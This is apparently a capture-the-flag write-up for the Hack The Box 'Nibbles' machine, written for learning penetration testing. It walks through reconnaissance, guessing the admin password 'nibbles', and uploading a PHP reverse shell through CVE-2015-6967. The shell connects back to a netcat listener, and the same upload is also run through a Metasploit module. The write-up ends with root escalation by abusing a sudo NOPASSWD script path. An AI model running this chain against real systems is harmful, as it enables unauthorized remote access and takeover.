# Nibbles

## &#x20;                                Reconnaissance:

NMAP:&#x20;

```
┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -O 10.10.10.75  

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)

80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
```

```
┌──(kali💀kali)-[~]
└─$ sudo nmap -sU -O 10.10.10.75  

Not shown: 1000 closed udp ports (port-unreach)
```

```
┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -p- 10.10.10.75      
```

We get back the following result showing that two ports are open:

* Port 80: running Apache httpd 2.4.18
* Port 22: running OpenSSH 7.2p2



## &#x20;                  Enumeration: Website - Port 80

Visit the site in the browser.\
[http://10.10.10.75/](http://10.10.10.75/)

Nothing useful there, so right click and select View Page Source. We find a comment that gives us a new directory. CTRL + U

This leads us to the following page. You can see at the bottom that it is powered by Nibbleblog. This is an indication that it an off the shelf software as apposed to custom software.

[http://10.10.10.75/nibbleblog/\
http://10.10.10.134/nibbleblog/feed.php](http://10.10.10.75/nibbleblog/http://10.10.10.134/nibbleblog/feed.php)

To confirm that, let’s google Nibbleblog. \
· Powered by Nibbleblog\
[https://www.bludit.com/](https://www.bludit.com/)



**Gobuster:**

```
┌──(kali💀kali)-[~]
└─$ gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -x php,txt

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.75/nibbleblog

/index.php            (Status: 200) [Size: 2987]
/sitemap.php          (Status: 200) [Size: 402]
/.php                 (Status: 403) [Size: 301]
/content              (Status: 301) [Size: 323] [--> http://10.10.10.75/nibbleblog/content/]
/themes               (Status: 301) [Size: 322] [--> http://10.10.10.75/nibbleblog/themes/]
/feed.php             (Status: 200) [Size: 302]
/admin                (Status: 301) [Size: 321] [--> http://10.10.10.75/nibbleblog/admin/]
/admin.php            (Status: 200) [Size: 1401]
/plugins              (Status: 301) [Size: 323] [--> http://10.10.10.75/nibbleblog/plugins/]
/install.php          (Status: 200) [Size: 78]
/update.php           (Status: 200) [Size: 1622]
/README               (Status: 200) [Size: 4628]
/languages            (Status: 301) [Size: 325] [--> http://10.10.10.75/nibbleblog/languages/]
/LICENSE.txt          (Status: 200) [Size: 35148]
/COPYRIGHT.txt        (Status: 200)
```

&#x20;                                           **Identifying a username**

Digging deeper, there’s a page at /nibbleblog/content/private/users.xml which reveals a user, admin, as well as the IPs that have tried to log in as it:

http://10.10.10.75/nibbleblog/update.php \
DB updated: ./content/private/config.xml \
DB updated: ./content/private/comments.xml

http://10.10.10.75/nibbleblog/README \
Version: v4.0.3 \
\===== About the author ===== \
Name: Diego Najar E-mail: dignajar@gmail.com \
Linkedin: http://www.linkedin.com/in/dignajar

http://10.10.10.75/nibbleblog/content/private/config.xml \
\<notification\_email\_to type="string">admin@nibbles.com\</notification\_email\_to> \<notification\_email\_fromtype="string">noreply@10.10.10.134\</notification\_email\_from>

[http://10.10.10.75/nibbleblog/content/\
http://10.10.10.75/nibbleblog/admin/controllers/](http://10.10.10.75/nibbleblog/content/http://10.10.10.75/nibbleblog/admin/controllers/)

```html
http://10.10.10.75/nibbleblog/content/private/users.xml
<users>
<user username="admin">
<id type="integer">0</id>
<session_fail_count type="integer">2</session_fail_count>
<session_date type="integer">1703672877</session_date>
</user>
<blacklist type="string" ip="10.10.10.1">
<date type="integer">1512964659</date>
<fail_count type="integer">1</fail_count>
</blacklist>
<blacklist type="string" ip="10.10.16.4">
<date type="integer">1703672861</date>
<fail_count type="integer">2</fail_count>
</blacklist>
</users>
```

&#x20;                                      **Logging into admin panel**

I wasn’t able to locate a password elsewhere on the blog, and nibbleblog doesn’t have a default password. Luckily, the guess of nibbles worked, and we are in:

[http://10.10.10.75/nibbleblog/admin.php\
admin\
nibbles](http://10.10.10.75/nibbleblog/admin.phpadminnibbles)



## &#x20;         Remote Code Execution (via file upload):

From the gobuster results, there’s a README file, and that gives us a version:

http://10.10.10.75/nibbleblog/README \
Version: v4.0.3

This version of nibbleblog is vulnerable to CVE-2015-6967, which is an authenticated arbitrary file upload, which can lead to code execution. There’s both a metasploit modules, and it’s pretty straightforwards to do manually.

**CVE-2015-6967:**

{% embed url="https://github.com/dix0nym/CVE-2015-6967" %}

Now we need admin credentials. When I’m presented with an enter credentials page, the first thing I try is common credentials (admin/admin, admin/nibbles, nibbles/nibbles, nibbles/admin). If that doesn’t work out, I look for default credentials online that are specific to the technology. Last, I use a password cracker if all else fails.

[http://10.10.10.75/nibbleblog/admin.php\
admin\
nibbles](http://10.10.10.75/nibbleblog/admin.phpadminnibbles)

Next, we need to navigate to the My Image plugin. Click on Plugins > My image > Configure.

[http://10.10.10.75/nibbleblog/admin.php?controller=plugins\&action=config\&plugin=my\_image](http://10.10.10.75/nibbleblog/admin.php?controller=plugins\&action=config\&plugin=my_image)

Get the code for a PHP reverse shell. Change the IP address and port used by your attack machine. Then save it in a file called image.php and upload it on the site.

{% embed url="http://pentestmonkey.net/tools/web-shells/php-reverse-shell" %}

Start a listener on the above chosen port.

```
┌──(kali💀kali)-[~]
└─$ nc -nlvp 5555
```

In the browser, navigate to the image we just uploaded to run the reverse shell script.

[http://10.10.10.75/nibbleblog/content/private/plugins/my\_image/image.php](http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php)

```
┌──(kali💀kali)-[~]
└─$ nc -nlvp 5555
listening on [any] 5555 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.75] 57330
```

Let’s first upgrade to a better shell. Python is not installed but python 3 is.

```
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
```



## &#x20;                        Metasploit –> Meterpreter

We’ll use multi/http/nibbleblog\_file\_upload to get a shell on the box.

```
┌──(kali💀kali)-[~]
└─$ msfconsole

msf6 > use multi/http/nibbleblog_file_upload
msf6 exploit(multi/http/nibbleblog_file_upload) > info
msf6 exploit(multi/http/nibbleblog_file_upload) > set RHOSTS 10.10.10.75
msf6 exploit(multi/http/nibbleblog_file_upload) > set TARGETURI /nibbleblog/
msf6 exploit(multi/http/nibbleblog_file_upload) > set USERNAME admin
msf6 exploit(multi/http/nibbleblog_file_upload) > set PASSWORD nibbles
msf6 exploit(multi/http/nibbleblog_file_upload) > set LHOST 10.10.16.4
msf6 exploit(multi/http/nibbleblog_file_upload) > run

meterpreter > shell
id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
```

**user.txt:**

From there, we’ll upgrade our shell, and then get user.txt:

```bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$ 
```

```bash
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$ cd /home
nibbler@Nibbles:/home$ cd nibbler
nibbler@Nibbles:/home/nibbler$ cat user.txt
cat user.txt
455db----------------------------------
```



## &#x20;                           Privilege Escalation

Find out what privileges you have. Either through running LinEnum.sh or just by checking sudo -l, we’ll see the following:

```
nibbler@Nibbles:/home/nibbler$ sudo -l
sudo -l
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
```

But if we go and try to access it we will find that the personal directory does not exist! But that's not the end we can still create it and use it:

```
cd /home/nibbler
mkdir personal
mkdir stuff
cd /home/nibbler/personal/stuff
```

okay now we have the directories ready, lets create our script, nano does not exist, we will need to use vi text editor:

```
nibbler@Nibbles:/home/nibbler/personal/stuff$ vi monitor.sh
```

when the vi is open, press i and enter, then paste this shell:

```bash
#!/bin/sh
bash
```

then press ESC from your keyboard, and type :wq to save and exit then press enter:

```bash
nibbler@Nibbles:/home/nibbler/personal/stuff$ cat monitor.sh
#!/bin/sh
bash
```

Okay our script is ready, the last thing to do is giving it execution permissions:

```
nibbler@Nibbles:/home/nibbler/personal/stuff$ chmod +x monitor.sh
```

then:

```
nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo ./monitor.sh
```

```
root@Nibbles:/home/nibbler/personal/stuff# whoami
whoami
root
```

```
root@Nibbles:/home# cat /root/root.txt
cat /root/root.txt
8ece72-----------------------------
```
